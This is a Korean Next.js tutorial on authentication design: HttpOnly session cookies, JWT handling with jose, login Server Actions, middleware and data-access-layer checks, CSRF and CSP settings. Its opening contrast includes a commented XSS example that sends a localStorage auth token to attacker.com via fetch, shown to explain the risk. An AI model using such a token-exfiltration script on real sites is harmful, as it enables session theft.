🔐 Next.js 심화 7장: Authentication Architecture — 미들웨어 + DAL + 세션 보안 설계

// ❌ 영철이의 위험한 방식 — localStorage 사용
// 클라이언트 컴포넌트에서
const token = localStorage.getItem('auth_token')
// XSS 공격으로 악성 스크립트가 삽입되면:
// document.querySelector('script').textContent = `
//   fetch('https://attacker.com?' + localStorage.getItem('auth_token'))
// `
// 토큰이 공격자 서버로 전송됨!
 
// ✅ 영호의 안전한 방식 — HttpOnly 쿠키
// Server Action에서 쿠키 설정 (서버에서만 실행)
(await cookies()).set('session', encryptedToken, {
  httpOnly: true,   // JS 접근 불가 → XSS 방어
  secure: true,     // HTTPS에서만 전송
  sameSite: 'lax',  // CSRF 방어
  maxAge: 60 * 60 * 24 * 7,  // 7일
})

// lib/auth.ts — 세션 암호화/복호화
import 'server-only'
import { SignJWT, jwtVerify } from 'jose'   // Edge 호환 JWT 라이브러리
 
const secretKey = process.env.SESSION_SECRET!
const encodedKey = new TextEncoder().encode(secretKey)
 
type SessionPayload = {
  userId: string
  role: 'user' | 'admin'
  expiresAt: Date
}
 
// 세션 암호화 (JWT 생성)
export async function encrypt(payload: SessionPayload): Promise<string> {
  return new SignJWT(payload)
    .setProtectedHeader({ alg: 'HS256' })
    .setIssuedAt()
    .setExpirationTime('7d')           // 7일 만료
    .sign(encodedKey)
}
 
// 세션 복호화 (JWT 검증)
export async function decrypt(token: string): Promise<SessionPayload | null> {
  try {
    const { payload } = await jwtVerify(token, encodedKey, {
      algorithms: ['HS256'],
    })
    return payload as unknown as SessionPayload
  } catch {
    // 토큰이 만료됐거나 변조된 경우
    return null
  }
}

// lib/session.ts — 세션 생성/조회/삭제
import 'server-only'
import { cookies } from 'next/headers'
import { encrypt, decrypt } from './auth'
 
export async function createSession(userId: string, role: 'user' | 'admin') {
  const expiresAt = new Date(Date.now() + 7 * 24 * 60 * 60 * 1000)
  const session = await encrypt({ userId, role, expiresAt })
 
  const cookieStore = await cookies()
  cookieStore.set('session', session, {
    httpOnly: true,
    secure: process.env.NODE_ENV === 'production',
    sameSite: 'lax',
    expires: expiresAt,
    path: '/',
  })
}
 
export async function getSession() {
  const cookieStore = await cookies()
  const sessionCookie = cookieStore.get('session')?.value
  if (!sessionCookie) return null
  return decrypt(sessionCookie)
}
 
export async function deleteSession() {
  const cookieStore = await cookies()
  cookieStore.delete('session')
}

// lib/actions/auth.actions.ts — 로그인 Server Action
'use server'
import { redirect } from 'next/navigation'
import { createSession } from '../session'
import { db } from '../db'
import bcrypt from 'bcryptjs'
 
export async function login(prevState: unknown, formData: FormData) {
  const email = formData.get('email') as string
  const password = formData.get('password') as string
 
  // DB에서 사용자 조회
  const user = await db.user.findUnique({ where: { email } })
 
  // 비밀번호 검증 (bcrypt는 서버에서만 실행 — Node.js Runtime)
  if (!user || !(await bcrypt.compare(password, user.passwordHash))) {
    return { error: '이메일 또는 비밀번호가 올바르지 않아요' }
  }
 
  // 세션 생성 → HttpOnly 쿠키에 저장
  await createSession(user.id, user.role)
 
  // 로그인 성공 → 대시보드로 이동
  redirect('/dashboard')
}
 
export async function logout() {
  await deleteSession()
  redirect('/login')
}

// middleware.ts — 1차 방어: "세션 쿠키가 존재하는가?"
import { NextResponse } from 'next/server'
import type { NextRequest } from 'next/server'
 
const PROTECTED_PATHS = ['/dashboard', '/my', '/settings', '/posts/write']
 
export async function middleware(request: NextRequest) {
  const { pathname } = request.nextUrl
 
  const isProtected = PROTECTED_PATHS.some((path) => pathname.startsWith(path))
  if (!isProtected) return NextResponse.next()
 
  const sessionCookie = request.cookies.get('session')?.value
 
  // 빠른 1차 체크: 쿠키 존재 여부만
  // 실제 JWT 검증은 Edge에서 jose로 가능하지만 선택적
  if (!sessionCookie) {
    const loginUrl = new URL('/login', request.url)
    loginUrl.searchParams.set('callbackUrl', pathname)
    return NextResponse.redirect(loginUrl)
  }
 
  return NextResponse.next()
}

// lib/dal.ts — 2차 방어: "세션이 유효한가? 이 작업 권한이 있는가?"
import 'server-only'
import { getSession } from './session'
import { db } from './db'
 
export async function verifySession() {
  const session = await getSession()
  if (!session) {
    // 세션 없으면 즉시 401 처리
    throw new Error('UNAUTHORIZED')
  }
  return session
}
 
// 게시글 삭제 — 작성자 또는 관리자만 가능
export async function deletePost(postId: string) {
  const session = await verifySession()  // 세션 검증
 
  const post = await db.post.findUnique({ where: { id: postId } })
  if (!post) throw new Error('NOT_FOUND')
 
  // 권한 체크: 작성자이거나 관리자여야 함
  if (post.authorId !== session.userId && session.role !== 'admin') {
    throw new Error('FORBIDDEN')
  }
 
  return db.post.delete({ where: { id: postId } })
}

// sameSite 설정으로 CSRF 방어
cookieStore.set('session', session, {
  httpOnly: true,
  secure: true,
  sameSite: 'lax',    // 외부 사이트에서 POST 요청 시 쿠키 전송 안 함
  // sameSite: 'strict' → 더 강력하지만 일부 OAuth 리디렉트가 깨질 수 있음
})

// middleware.ts에서 CSP 헤더 설정
response.headers.set(
  'Content-Security-Policy',
  "default-src 'self'; script-src 'self' 'nonce-{nonce}'; style-src 'self' 'unsafe-inline';"
)

try {
  const { payload } = await jwtVerify(token, encodedKey)
  return payload
} catch (err) {
  if (err instanceof errors.JWTExpired) {
    // 만료 → 리프레시 또는 재로그인 유도
    return null
  }
  // 기타 검증 실패
  return null
}